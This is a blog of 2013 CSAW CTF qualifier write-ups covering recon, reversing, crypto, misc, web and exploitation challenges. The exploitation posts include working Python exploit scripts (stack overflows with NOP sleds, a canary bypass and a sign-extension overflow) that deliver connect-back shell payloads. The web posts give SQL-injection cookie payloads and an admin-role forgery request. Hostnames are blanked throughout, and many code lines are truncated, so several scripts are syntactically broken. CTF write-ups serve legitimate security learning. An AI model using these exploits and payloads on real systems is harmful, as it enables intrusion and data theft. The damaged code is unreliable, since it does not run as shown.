Friday, September 27, 2013

CSAW CTF Quals: Recon All

Jordan Wiens (100):

The Jordan Wiens recon began where 2012's recon ended, at His site gave the hint, "Michael Vario sure does some suspicious signs, hope he doesn't do me."  This led us to Google Michael Vario and find that his name was often associated with the PGP key world. Searching Jordan Wiens in a public PGP key database (, any database works) showed a public key with the User ID "Jordan Wiens (CSAW folks: getting warmer) <>"   it also showed the key having a "user attribute packet" After musing over this hint for far too much time we decided to look into what a "user attribute packet" was. Turns out it is a picture embedded in the public key. We were able to find a database which displays a "user attribute packet" in line with the web page ( Searching Jordan Wiens in this data base resulted in a picture with the key handwritten out.      

Odin (100):

Looking at the Whoami on snOwDIN in the IRC gave the hint linkedin:chinesespies. This lead us to search the user chinesespies on linked in. turned out to me an "Eddie Snowdin" spoof account with the key written out in the Skills & Expertise section. 

Brandon Edwards (100):

Searching Google, we found that Brandon Edwards is often referred to as drraid. Searching drraid in google lead us to his github account. Scrolling through the posts allowed us to find: "Hai Guys, for CSAW CTF Judge responsibility I have to hide a recon key." The key is located in the post at: Github

Julian Cohen (100):

Some googling found that his handle is HockeyInJune. Searching this gave his Wikipedia user page User:HockeyInJune which only displayed "Check out my new website" visiting the site's IP address gave the key 
-wardawg, lilniqy

Theodore Reed (100):

A hint was that it was within 3 clicks of, with that number increasing to 4 due to "asshole" CTF players. I took that last addition to mean that there was some sort of user comment functionality which would allow for this number to change, and require an extra click to get to. I wget'ed off of with
wget -e robots=off --tries=40 -r -H -l 4
This downloaded everything. I then recursively grepped for the key, printing out each file that contained "key=". Looking through the list, I found a youtube link, with a comment as the key.

The youtube comment didn't have "key=" ironically, so I thank the people at youtube for including that somewhere in their code and matching my search term.


Thursday, September 26, 2013

CSAW CTF Quals: Reversing 150 - bikinibonanza

When you first run the program you are greeted by a GUI that has a picture of the sea and a saw, CSAW, so clever. When strings are submitted to the program it compares it to some value and then branches based on the comparison. If an incorrect string is submitted the program randomly selects a predefined, snarky response and displays. One of these responses just so happens to be a link to being "Reg Rolled," hilarious right?

                 "OMG, You're SOOO Freaking Close",
                "Try Harder - I can tell you want this",
                "Wow, What a great answer - but it's wrong",
                "You're about 10% right",
                "You almost got it, just add three!",
                "So close, maybe subtract three?",
                "YES! wait, no... try harder",
                "Google \"do a barrel roll\"",
                "Did you see:"
                "Its a SAW... in the SEA.."

I used two programs to decompile this program. I started off with good ole' Ilspy to see if it was possible to get the source code, rather than have to work with assembly. Unfortunately, Ilspy was only able to decompile part of the program:

using System;
using System.ComponentModel;
using System.Drawing;
using System.Reflection;
using System.Resources;
using System.Runtime.ExceptionServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
    public class Form1 : Form
        private TextBox eval_ᜀ;
        private Button eval_ᜁ;
        private TextBox eval_ᜂ;
        private PictureBox eval_ᜃ;
        private Container eval_ᜄ;


This is just part of the code I was able to decompile but as you can see there are box characters Ilspy was unable to interpret. It would be a nightmare to change these so it actually compiles and runs when copying it into Visual Studio. However, along with decompiling the code, Ilspy provided the resources being used such as background pictures for the GUI. One picture is named "Sorry You Suck", but has the words "YOU DID IT" written.

Looking through the source code I saw a branch that compared the string we enter to another string but it looks like both are altered through some heavy functions including MD5.

private void eval_ᜀ(object obj, EventArgs eventArgs)
    string strB = null;
    Assembly executingAssembly = Assembly.GetExecutingAssembly();
    ResourceManager resourceManager = new ResourceManager
       (executingAssembly.GetName().Name + ".Resources", executingAssembly);
    DateTime now = DateTime.Now;
    string arg_65_0 = this.eval_ᜀ.Text;
    string value = string.Format("{0}", now.Hour + 1);
    string text = "NeEd_MoRe_Bawlz";
    this.eval_ᜀ(text, Convert.ToInt32(value), ref strB);
    if (string.Compare(arg_65_0.ToUpper(), strB) == 0)
      this.eval_ᜂ.Text = "";
      this.eval_ᜂ.Text = string.Format(this.eval_ᜂ.Text, this.eval_ᜀ(resourceManager));
      this.eval_ᜃ.Image = (Bitmap)resourceManager.GetObject("Sorry You Suck");
      this.eval_ᜃ.Image = (Bitmap)resourceManager.GetObject("Almost There");

So this branch looks promising and I could easily just change it to always run since the key is not computed based on our input. However, getting the source code to work and run in visual studio is a harder path than necessary. So my next step was to use ildasm in visual studio command prompt to decompile the file and save the output to a text file.

The structure for this command is: ildasm /bytes [PEfilename] /out = filename

After creating the file, I opened it and searched for "Sorry You Suck" to find the area of the branch statement quickly.

There is a brtrue.s (branch if true, short) just above the sorry you suck we found. This brture.s jumps right over sorry you suck to the part that shows an incorrectly entered message. So I looked at the byte representation of the line which is 0x 2D 63. 2D is the opcode for btrue.s, and I want to change it to brfalse.s (2C) so that we always proceed to sorry you suck. To do this, I launched HexEditor and searched for the 2D 63 sequence. I then changed 2D to 2C, saved the file and ran it.

We are then presented with "YOU DID IT" and the key.

key: 0920303251BABE89911ECEAD17FEBF30

- m4d_D0g

CSAW CTF Quals: Web 400 - Widgets

Once an account was registered on the site, the account should have been logged into. This account can have any username and password.

If you explore the page you will find that there is a background image of a dog. The CSS also had an ASCII image of a dog and contained text that said “Doge flage is the key,” which was later changed to “doge flage is not the key.” These were all red-herrings and did not play a part in finding the key at all.

You could also make widgets on this site and after some observation, you could see the cookies on the page change when a new widget was created.

The widget_tracker cookie was found to be base64 encoded and could be converted to an ASCII string along the lines of:
a:“number of widgets”:{i:“widget one”;id:“widget one id”;i:“widget two”;id:“widget one id”;}
The widget_validate cookie was found to be just a sha512 encryption of this string.

After a lot of testing, we found that cookies could be modified an passed containing SQL injections. The format for them was similar to the following:
a:“number of widgets”:{i:“widget one”;s: “length of injection”:”injection”;}
A useful tool for editing cookies is the “edit this cookie” extension for chrome. Remember to find the length of the injection and input the value after “s:”

By experimenting with SQL injections we were able to determine there was an information schema with four columns using the following ASCII value of the cookies.
a:1:{i:0;s:109:"7933 or 1-1) UNION SELECT TABLE_NAME, TABLE_NAME, TABLE_NAME, TABLE_NAME  FROM information_schema.tables; -- ";}

Within this information schema there was a table named flag. So a new cookie was made to view this table using the following ASCII string:
a:1:{i:0;s:44:"7933) UNION SELECT *, 1, 2, 3 FROM flag; -- ";}

This created the widget_tracker base64 cookie: YToxOntpOjA7czo0NDoiNzkzMykgVU5JT04gU0VMRUNUICosIDEsIDIsIDMgRlJPTSBmbGFnOyAtLSAiO30%3D

This also create the widget_validate cookie: 17cd76a036f7541bac1e669ffada8a9389848e9bd19606689860a294f37800216bd6cfa37c2ff2a402c7809b94fb28185958ddfeb14373f0d4694c48a9704682

These were submitted and the page was refreshed (shown below).

If you inspect an element on the page and shift through the code you will find the key! “key{needs_moar_hmac}”


Wednesday, September 25, 2013

CSAW CTF Quals: Misc 50 50 100 200

Misc #1  50pts

The file provided was a pcap file, wireshark it is.

Telnet looks interesting so right click and follow the tcp stream.

…..And key.

Misc #2 50 points
I didn’t know what a .process file was, but I figured that notepad++ would at least provide an initial starting point.

Instead I found the key. 

Misc #3 100 points

The file provided was a blank white png. Decided to look at the png in paint.  There seemed to be some different colors so I filled in the background with paint:

And Key.

Misc #4 200 points

Again the file provided is a png file; however, this png is corrupted and will not open with most image viewers. (except Microsoft’s default image viewer) Opening up the file with tweakpng, we noticed that the crc sum was not correct.

Tweakpng allows the information in the file to be modified.

We played around with these values until we came up with this image:

The values we came up with were:

Zooming in on the photo we saw:

The Key! For your convenience I outlined the letters below.



Tuesday, September 24, 2013

CSAW CTF Quals: Reversing 500 Noobs First Firmware Mod

Initially, we get a number of files, which appear to be an ARM program. Imp3rial figure out how to boot and run the program in qemu, allowing us to emulate the correct hardware.  How to Emulate.

 However, to get a good view of the program, I looked at it in IDA. Within IDA, I found two functions of relevance. First, there is the clearly named do_csaw method, shown below.

From this disassemlby, the function can be seen to read values between 0x80002013 to 0x8000203B, and then prints to the memory assigned by the malloc() call. However, when we look at the memory in qemu, there are no values ever loaded into those memory addresses. Since the emulator that we are using allows for command line read/write of memory, I looked at those addresses. While write attempts did not produce any error messages, it did not actually write the memory.

While I figured out how to deal with this, I found another function in IDA that seemed relevant, shown below.

While the rest of the method seems to do something in regards to networking, it also writes the string "SUPERSEXYHOTANDSPICY" to the address read by do_csaw. However, as said above, the write must have failed due to the restrictions on the memory. Although there probably is some way of increasing the size of memory, I found it easier to alter the locations of the read/write between the two methods. I changed it from 0x80002013 and 0x8000203B to 0x07002013 and 0x0700203B, which testing confirmed in qemu as writable. Also, since I believed smc_init to be extraneous to what I was actually trying to accomplish, I altered it to load "SUPERSEXYHOTANDSPICY" to memory, and then exit. Modified functions can be seen below, beginning with smc_init.


I also changed do_csaw to call smc_init to load the memory. Running the program using qemu shows that 0x07002013 is successfully loaded, but searching the memory turns up nothing. However, running the program using gdb multiarch allowed me to step through memory, and see what the program was trying to write. Using carefully selected breakpoints, I was able to see the program was writing output, but it seemed to be continually overwritten by the "2D" value loaded earlier into a register. Using GDB allowed me to read before the overwrite, and get the key.



CSAW CTF Quals: Reversing 400 Keygenme32

This linux executable took three inputs, and printed a smiley (good) or frowny (bad) face based on these inputs. First, I looked at the program in IDA, and found a method that determines which face prints. The disassembly for this method is below.

This function takes four inputs. Upon inspection in GDB, two of arguments passed are directly from the original input, when the file was ran in terminal. For the above disassembly, arg_8 is the first input, and arg_C is the second. These are compared at the end of the program to arg0 and arg0+4, which both come from the first input, in some sort of modification. In order to get successful output from this section

arg0 == arg8 XOR 31333337

arg0+4 = a rearrangement of arg_C. To get from arg_C to the corresponding arg0+4, the last byte stays the same, the first byte becomes the third, and the second and third byte to go to first a second.

For example 0x11223344 -> 0x22331144

However, this does nothing to tell us how to get the first two values. I spent a lot of time looking at the code without really getting anywhere. Thankfully, there are ways around this. Imp3rial and I ended up scripting GDB in order to get the immediate values. We accomplish this by writing to the .gdbinit file, and using popen to automate things. The problem was solved using the following script (some imports were used in test version, but not include in final functionality).

import os, sys, pexpect, fdpexpect, socket, struct, time
from subprocess import Popen, PIPE
so = socket.socket()
so.connect(('', 14549))
temp = so.recv(1024)
for i in xrange(100):
 temp = so.recv(1024)
 print("new range " + temp)
 inputStuff = temp.split(' ')[-1].strip("\n")
 print('input stuff ' + inputStuff)
 f = open('/home/student/.gdbinit', 'w')
 writeString = "file ./keygenme32.elf\n"
 writeString += 'break _Z5checkiiii\n'
 writeString += 'start ' + inputStuff + ' 0x11 0x11\n'
 writeString += 'run\n'
 writeString += 'x/x $ebp+0x8\n'
 writeString += 'x/x $ebp+0xc\n'
 writeString += 'quit\n'
 a = Popen('gdb', shell=True, stdout=PIPE, stderr=PIPE)
 temp = a.communicate()[0].split(' ')[-21].split('\t')
 input1 = temp[1][0:10]
 input2 = temp[2][0:10]

 result1 = int(input1,16) ^ 0x31333337
 result2 = input2[0:2] + input2[6:8] + input2[2:6]+ input2[8:10]
 result1 = str(hex(result1).zfill(8)).strip("L")
 output = str(int(result1,0)) + " " + str(int(result2,0)) + "\n"
 print("output is " + output)


Post competition, it appears that the code implemented some sort of vm, with its own instructions. However, looking at writeups, it appears that most people did what I did, and scripted a debugger.



CSAW CTF Quals: Cryptography 300 Onlythisprogram

For this challenge, we are given the onlythisprogram.tar.gz file. We extracted the files and in that file was the script and an output file with 9 fileX.enc files. Looking through the python code, this line is of interest:
args.outfile.write(chr(ord(keydata[counter % len(keydata)]) ^ ord(byte)))
This line shows that the operation of interest is an XOR operation. Here is a reading on that vulnerability:

The first thing that I thought might have been it was crib dragging, exactly like it showed in the reading. Still brainstorming, however, I guessed that it probably wasn't just text files, but the ENC files were the encrypted files.

Okay, still looking at the same line we have above, the modulus is happening with the length of the keydata. Further above, you see this:
while (args.secretkey.tell() < blocksize):
Blocksize is set to 256 at the top so you know that the secretkey file is a 256 byte key that is used over and over again until the files are done being encrypted.

Great! Now it's time to build the decryption script.

I want the script to take the bytes from two files and then XOR them together and output that to an outfile. This is pretty much a straight Ctrl+C, Ctrl+V from the CSAW provided python file! #EPIC!

So, if each fileX.enc represented a file, then they would probably have headers that we know are at the beginning. This is the library that I used for the file headers.

So now you need to understand what cribbing does. Here's an example. If you have encrypted byte AE and encrypted byte BE, both of which use the same key (K), you can XOR AE and BE together. What that does is it gets rid of the key and gives you A ^ B, where A and B are the original bytes. At that point, if you XOR that with the original byte A, you will get the original byte of B.

So for this particular challenge, if we suspect that the file1 is supposed to be a DOC file, for example, we can assume the original byte in that position should be the header byte of a DOC file. If the bytes returned is not gibberish, then we know that one of file1 or whatever file we XOR'd it against to be a DOC file. Here's the code for this function:


while 1:
    byte1, byte2 =,
    if not byte1 or not byte2:
    temp.write(chr(ord(byte1) ^ ord(byte2)))


while 1:
    byte1, byte2 =,
    if not byte1 or not byte2:
    args.outfile.write(chr(ord(byte1) ^ ord(byte2)))
I did this with file0 and ran it against the other files until something gave me another header set that was in the website that I showed you. File0 was not a doc file, as most other files gave me gibberish in return, but one of the files was. I then took that file and ran the same operation against all the other files and was able to find all the file types.

file0 - MID, MIDI
file1, 3 - JFIF, JPE, JPEG, JPG
file2 - PNG
file4 - GZ, TGZ
file5 - BMP, DIB
file6 - GIF
file8 - PDF, FDF

The longest header available to us is the JPG file type. After that, I was able to use trailer bytes to find out with certainty 4 more bytes. At this point, I was a little stumped so I downloaded a lot of files matching the file types I needed. Eventually, I realized that BMP files (at least in the ones I downloaded) had several large blocks of FF bytes. (Read using Hex Editor - I used HxD)

So using a byte of FF for the original message, I ran that against file5. Hopefully, I would get a large chunk of the secretkey.dat file. Maybe even the whole thing! Here's the code to do that:
while 1:
    byte1, byte2 =, '\xff'
    if not byte1 or not byte2:
    args.outfile.write(chr(ord(byte1) ^ ord(byte2)))
I named this file buzzbmp and went through every 256 byte block until I found one that matched up with my first 11 byte block. I copy and pasted that using HxD to a new secret.dat file and ran the original script with the following code commented out:

#while (args.secretkey.tell() < blocksize):
# maybe remove the next line for release since it makes it more obvious the key only generates once?
#	sys.stdout.write('.')
#	args.secretkey.write(os.urandom(1))
The file to decrypt I used was the PDF file, file8. After several iterations of error checking for correct and incorrect bytes, a decrypted PDF file that had a few errors. However, I had enough correct bytes in that secret.dat test file that a lot of strings were intact. I had about two bytes that were off. Here is that secret.dat file: secretkeywrong
Incorrect Secret.dat File

To narrow those down and correct them, I went through the file looking for intact strings. I was able to narrow down the incorrect bytes and, because I knew what a few of the strings should have looked like, I was able to correct the incorrect bytes and build the correct key! Manually. #CRYPTOOOO

Correct Secret.dat File :)

I decrypted every file and then extracted everything from file4.gz. File4 contained the key, which we opened up in Notepad++. It says in ASCII block text, "For some reason psifertex really likes Aglets (??? - Not sure about this word really.) In this case it's necessary because the file size should not be a huge giveaway. Though I suppose images would have worked too. Anyway, the key: BuildYourOwnCryptoSoOthersHaveJobSecurity"

And there's your key! Here's all the code that I used to build my secret.dat files. It's a bit messy with the commenting though!
import sys
import argparse

parser = argparse.ArgumentParser(description="n.a")
parser.add_argument('--infile1', metavar='i1', nargs='?', type=argparse.FileType('rb'), help='input1 file, defaults to standard in', default=sys.stdin)
parser.add_argument('--infile2', metavar='i2', nargs='?', type=argparse.FileType('rb'), help='input2 file, defaults to standard in', default=sys.stdin)
parser.add_argument('--outfile', metavar='o', nargs='?', type=argparse.FileType('w+'), help='output file, defaults to standard out', default=sys.stdout)

# outfile a+ option opens file for both append and read. New file created for read/write if no a

args = parser.parse_args()
temp = open('temp', 'w+')
key=open('key', 'w+')
key.write('\x40\x50\x3A\xC8\x2D\x69\xF7\xD3\x02\x3A\xF4\xAC')'fuzz', 'w+')

#while 1:
#    byte1, byte2 =,
#    if not byte1 or not byte2:
#        break
#    temp.write(chr(ord(byte1) ^ ord(byte2)))


while 1:
    byte1, byte2 =, '\xff'
    if not byte1 or not byte2:
    args.outfile.write(chr(ord(byte1) ^ ord(byte2)))


Please comment down below if you have an comments or questions for me! Thanks for reading!


CSAW CTF Quals: Reversing 100 DotNetReversing.exe

This challenge was very straightforward and actually took longer to decompile and throw into visual basic than to actually reverse. Just running the program will give as an output on a console of:

"Greetings challenger! Step right up and try your shot at gaining the flag!"
"You'll have to know the pascode to unlock the prize:"

The program then waits for console input. I tried putting in "test" and the program immediately threw an exception and crashed. I then proceeded to decompile it in ILSpy and threw the nice C# code into visual basic. I immediately noticed a branch statement.

if ((num ^ num2) == num3)

   Console.WriteLine("Incorrect, try again!");

Just based on the console output, we can safely assume we want to meet the conditions (num ^ num2) == num3 to get to "yay." The ^ operator means XOR (exclusive or) and essentially returns the difference in bit values between the numbers. By looking at the code we can see that num = our input converted to base 64. Because num is used later in the program to compute the actual key we need the actual correct value. Because I'm not particularly found of hard math or needless calculations by hand, I changed num = num2^num3. This sets num to the correct value. I then saved the program, ran it, and was presented with:

flag{I'll create a GUI interface using visual basic...see if I can track an IP address.}
press key to continue

key: I'll create a GUI interface using visual basic...see if I can track an IP address.

- m4d_D0g

CSAW CTF Quals: Exploitation 400_1

The dissassembly for this program tended to be more confusing than helpful. Fuzzing the program for a brief amount of time, we found the capability write over eip with an input of 417 bytes. Luckily enough, esp pointed to the middle of the text that we sent in. So, most our input contained a nop sled to the reverse shell and an address to jump to esp. The winning script follows:
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("", 5930))
f = open("connectback_shell",'r')
shellcode =
print s.recv(1024)
s.sendall("\x90"*(417-len(shellcode)-4) + shellcode + "\x90"*4 + struct.pack("<I", 0x080c6b1f) )
print s.recv(1024))
Comments welcome and questions feel free to ask!


CSAW CTF Quals - Web 300: herpderper.apk

For web 300 we were given an android application .apk file. After installing the application to an android phone and running it, we saw that it communicated with a remote location to determine if the login credentials were valid.

After decompiling the .apk file and looking through the source code, we found that the application contacted the website: Visiting this site in a web browser returned no interesting results, other than the indication that we should visit the site using the mobile application.

This lead us in the direction of finding the request sent to the page from the application. viewing the doInBackground() method provided the existence of three vars that were base64 encoded then sent across to the website. The source of this method looks like this:

protected doInBackground(String[] uri) {
    v14 = android.os.Debug.isDebuggerConnected();
    if (!v14) {
        short v14 = 0x539;
        v14 = v14 / 0;
    } else { v11 = 0;
        try {
            v14 = 0;
            v14 = uri[v14];
            v12 = new;
        } catch ( {
        v11 = v12; v13 = 0;
        try {
            v14 = v11.openConnection();
            v0 = v14;
            assert v0 instanceof;
            v13 = v0;
            v14 = 1;
            v14 = "POST";
            v5 = v13.getOutputStream();
            v14 = 1;
            v14 = uri[v14];
            v15 = "UTF-8";
            v14 = v14.getBytes(v15);
            v15 = 0;
            String v2 = android.util.Base64.encodeToString(v14, v15);
            v14 = 2;
            v14 = uri[v14];
            v15 = "UTF-8";
            v14 = v14.getBytes(v15);
            v15 = 0;
            String v8 = android.util.Base64.encodeToString(v14, v15);
            v14 = "\n";
            v15 = "";
            v14 = v2.replace(v14, v15);
            v15 = "\r";
            v16 = "";
            v2 = v14.replace(v15, v16);
            v14 = "\n";
            v15 = "";
            v4 = v8.replace(v14, v15);
            v15 = "\r";
            v16 = "";
            v8 = v14.replace(v15, v16);
            v14 = new StringBuilder();
            v15 = "identity=";
            v14 = v14.append(v15);
            v14 = v14.append(v2);
            v15 = "&secret=";
            v14 = v14.append(v15);
            v14 = v14.append(v8);
            v15 = "&integrityid=";
            v14 = v14.append(v15);
            v15 = 3;
            v15 = uri[v15];
            v14 = v14.append(v15);
            v9 = v14.toString();
            v14 = v9.getBytes();
        } catch (Exception) {
        v0 = p0;
        v7 = v0;
        try {
            v14 = v13.getInputStream();
            v3 = new BufferedInputStream(v14);
            v14 = new;
            v6 = new BufferedReader(v14);
            v10 = new java.lang.StringBuilder();
            while (true) {
                v4 = v6.readLine();
                if (!v4 == 0) { // break? -> :cond_1
                } else {
                    v7 = v10.toString();
                    return v7;
        } catch (org.apache.http.client.ClientProtocolException v14) {
        } catch (java.lang.Exception) {

The three variables were identity, secret, and integrityid. Sending a GET request to the website without sending the correct "integrityid" variable resulted in a client integrity fault message from the page:

{"response":{"status":"failure","msg":"Client integrity fault"}}

Using burp suite to find the correct integrityid, we sent that across and got the response from the page. The challenge then became a matter of exploiting the website. We wrote a quick python script to execute the request:

import socket, gzip, base64

def main():

    requestbefore='''identity=%s&role=YWRtaW4=&secret=%s&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9'''%(str(base64.b64encode(identity)), str(base64.b64encode(secret)))
    request2 = '''POST /csaw.php HTTP/1.1

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105 Build/JZO54K)
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

    request = request2 + requestbefore
    print request

    s = socket.socket()
    s.connect(('', 80))

        derp = s.recv(1024).strip()

    derp = derp.split('text/html')[1].strip()
    writefile = open('derp.txt.gz','wb')

    f ='derp.txt.gz', 'rb')
    file_content =
    print "\n\n" + file_content

if __name__ == "__main__":

The script would send a GET request to the website that looked like this:

POST /csaw.php HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105 Build/JZO54K)
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: ###


Where ### was the length of the data sent below the Content-Length line. The website replied with the following response:

{"response":{"status":"failure","msg":"Login failed"},"timeStamp":"1379429423","tZ":"America/New_York","reqResourceId":"","clientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"anonymous","accessToken":"YWRtaW46YW5vbnltb3VzOndlYmNoYWwuaXNpcy5wb2x5LmVkdQ=="}}

After fiddling with various login names and passwords, we ran out of time in the competition. The final step of the challenge was to modify the request to include the variable "role", where role=admin in base64. In essence, the final request would look like this:

Where the variable "role" is simply inserted into the request. This would have returned the following response:

{"response":{"status":"success","msg":"Key: Yo dawg I heard you leik to derp so i put a herp in your derp so you could herpderp while you derpderp"},"timeStamp":"1379429491","tZ":"America/New_York","reqResourceId":"","clientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"admin","accessToken":"YWRtaW46YWRtaW46d2ViY2hhbC5pc2lzLnBvbHkuZWR1"}}
lilniqy, Hawkeye, albinotomato

CSAW CTF Quals: Reversing 500 Impossible.nds

Impossible - 500 Points
WTF, his hp is over 9000! Beat the game to get your key.

Reversing an nintendo ds rom was right up my alley and I was very excited to begin. I immediately threw it in to the emulator of my choice, NO$GBA. Upon loading it, I realized this was not going to be nearly as fun as a classic legend of zelda game as the start screen itself was inverted. After clicking on the screen you are able to move and fire from your poor little defenseless green triangle against “WTF” who is spewing a million red triangles that kill you instantly. Oh on top of that “WTF’s” HP is over 9000! To be more specific it’s 1,000,000 (but we don't know that at first).

So like any good gamer faced with an OP boss, it's time to bust out those cheat codes! Since this is a Indie game, there are no pre-made cheats so we will just have to make our own. To do this I used a program called Cheat Engine. Cheat Engine has a built tutorial of what I am about to describe to you that is very helpful. The information we are given about the boss's health is that it's over 9000 (gotta love the classic Dragon Ball Z reference). So, we can just scan the memory of the gain for the WTF's health. However, if we did not know this or trust the developers of the competition, we would be completely in the dark. Luckily for us, Cheat Engine has an unknown initial value scan. After starting up the game and clicking start, I quickly pause the emulation and perform the scan. I then fire off a couple of shots at the boss and pause the game to do a decreased value scan. I kept repeating this cycle of shooting, pausing, and scanning for decreased values until I was left with one value. Cheat Engine informed me that it's initial value at the unknown scan was 1,000,000. So, if I need to restart the game I can just scan for exact values of 1,000,000 after I click the start screen and pause the emulation.This scan yields four results. After firing and pausing, you can easily see that the Boss's health is the only one to decrease. 

Cheat Engine allows you to change this value to whatever your little gaming heart desires. I changed this value to 1, to make sure it performed the win comparison conditions, and fired off a couple shots. Success! WTF is toast, w00t! And then after we invert the screen and re presented with the "KEY IS DUBZFGJCRC." Sweet we so now we just submit the key and are done right? Wrong! I noticed the value that the previous memory location for health was immediately changed after killing WTF. I also noticed, after quite some time, that this value along with the surrounding addresses directly affected the key. So, I then checked the the memory of these addresses.The designers of the game performed a function to make the key appear on the screen different than it is in memory. In memory the key was plainly visible. Challenge solved.

key: ou6UbzM8fgEjZQcRrcXKVN

- m4d_D0g

CSAW CTF Quals: Trivias

Trivia 1 Click here!
Trivia 2 Click here!
Trivia 3 Click here!
Trivia 4 Click here!
Trivia 5 Click here!

Monday, September 23, 2013

CSAW CTF Quals: Exploitation 300

This challenge brought in some slight return to libc concepts to execute our shellcode in rwx memory. However, we first had to find the exploit, since Hex-Rays made it seem un-exploitable. The code of interest is:
  n = buffLength;
  if ( (unsigned int)(buffLength + 1) <= 0x400 )

Hex-Rays did not show that in the assembly, it makes a movesx, which is a move sign extend. So, if the the byte number we sent had a leading bit of 1, that would be extended when it was copied over to the register. The negative number copied over would always be less than the 400h limit of our input size. The related assembly is:
.text:08048F09                 mov     eax, [ebp+buffLength]  //Our input for the length of the entry
.text:08048F0C                 mov     [ebp+var_4AC], ax  //Only copy the lower half of EAX
.text:08048F13                 mov     [ebp+var_C], 0
.text:08048F1A                 mov     [ebp+stream], 0
.text:08048F21                 movsx   eax, [ebp+var_4AC] //Move the lower half back into EAX, but extend the sign  ** Vulnerable
.text:08048F28                 mov     [ebp+n], eax
.text:08048F2B                 mov     eax, [ebp+n]
.text:08048F2E                 add     eax, 1
.text:08048F31                 cmp     eax, 400h  // Negative number is always less than 400h
.text:08048F36                 jbe     short loc_8048F5B

Now that we know we can overflow it when our number is greater than 32768 and less than 65535, we can execute a recv() into the rwx memory found at:
0804b000-0804c000 rwxp 00002000 08:01 409039     /root/Desktop/fil_chal
The winning script, excuse the poor variable names, is:
import socket, binascii, struct, time, string, sys
baseAddress =  0x804b020
for tme in xrange(1,2):

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   #s.connect(("", 34266))
   f = open("connectback_shell", "r")
   shellcode =
   print "Trying :" + str(tme)
   s.sendall(shellcode+'\x90'*(1010-2*len(shellcode))+shellcode+'\x90'*50+struct.pack("<I", 0x8048890 )+
      struct.pack("<I",baseAddress) + struct.pack("<I",4)+struct.pack("<I",baseAddress)+struct.pack("<I",100)+"\x00\x00\x00\x00")
   stuff = s.recv(2014)

Any questions or suggestions, feel free to comment!


CSAW CTF Quals: Exploitation 200

This binary required using the location of the memory location of the buffer and a secret sent across the socket. The stack canary being implemented was the value of secret which they sent. The important code is shown below.
  unsigned int v1;
  char buffer[2048]; 
  unsigned int cookie; 

  cookie = 0;
  memset(buffer, 0, sizeof(buffer));
  v1 = time(0);
  secret = rand();
  cookie = secret;
  *(_DWORD *)buffer = buffer;
  send(newsock, buffer, 4u, 0);
  send(newsock, &cookie, 4u, 0);
    "Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:",
  recv(newsock, buffer, 0x1000u, 0);
  buffer[2047] = 0;
  if ( cookie != secret )
After Sending a couple strings composed entirely of the cookie, I was able to determine that the canary value location on the stack was 2048 bytes, with control of eip being taken at 2064 bytes. With control of eip, we jump to the address of the beginning of our array that we received and conveniently holds our shellcode. The following code is the script used to beat the challenge.
import socket
import binascii
# create an INET, STREAMing socket
s = socket.socket(
    socket.AF_INET, socket.SOCK_STREAM)
#now connect to the web server on port 80
# - the normal http port
#s.connect(("", 31338))
s.connect(("", 31338))
f = open("callback", "r")
exploit =
print (len(exploit))
print (binascii.hexlify(exploit))
buffer_addr = s.recv(4)
cookie = s.recv(4)
print "got buffer"
print (binascii.hexlify(buffer_addr))
print "got cookie"
print (binascii.hexlify(cookie))
print (s.recv(256))
exploit += 'A'*(2048-94)
print "len is now 2048?"
print (len(exploit))
exploit += cookie
exploit += buffer_addr
exploit += buffer_addr
exploit += buffer_addr
exploit += buffer_addr
buffer_addr = s.recv(4)
cookie = s.recv(4)
print "got buffer"
print (binascii.hexlify(buffer_addr))
print "got cookie"
print (binascii.hexlify(cookie))
print (s.recv(256))

Feel free to comment or ask questions!

-- Imp3rial

CSAW CTF Quals: Reversing 200 csaw2013reversing2

First, we look at the psuedocode created by IDA.
From this, there are three things that are interesting.
1. The first IF statement, which will determine whether or not decoding happens.
2. The _debugbreak(), which may either help (writer stopping there to get us to look at something) or hinder          (simply be annoying)
3. The key print statement at the bottom.

First, I tried running it, with a break point immediately following the if statement (jnz in assembly). This neither hit the breakpoint, nor did it print a key. Therefore, I speculated that we needed to alter the value of the if statement, to invert when it triggered (from if(!statement) to if(statement)). Also, I removed the debug breakpoint, mainly for convenience. The original assembly:

The modified code:

However, when this was ran, there seemed to be no valid output, as the message box appeared empty. After some fiddling around, and help from teammates and coaches, it was found that the key was actually being printed in the message box. Since it started with a string terminator however, it appeared to be empty. Reading it from memory in debugging allowed for the acquisition of the key. 

- albinotomato

CSAW CTF Quals: Cryptography 100 Csawpad

In this challenge, we are provided with a file. Within the file, we were given recovered texts and told that they are hex encoded strings:
Recovered texts, hex encoded

From the csawpad file, you can see that encryption and decryption are two input dictionary lookups that encrypts/decrypts byte by byte using the (padByte, ptextByte/ctextByte) as a key. As this is a stream cipher using a pad, we assumed that the pad used to encrypt are used for all of these strings and, therefore, a multi-use pad as opposed to a one-time pad.

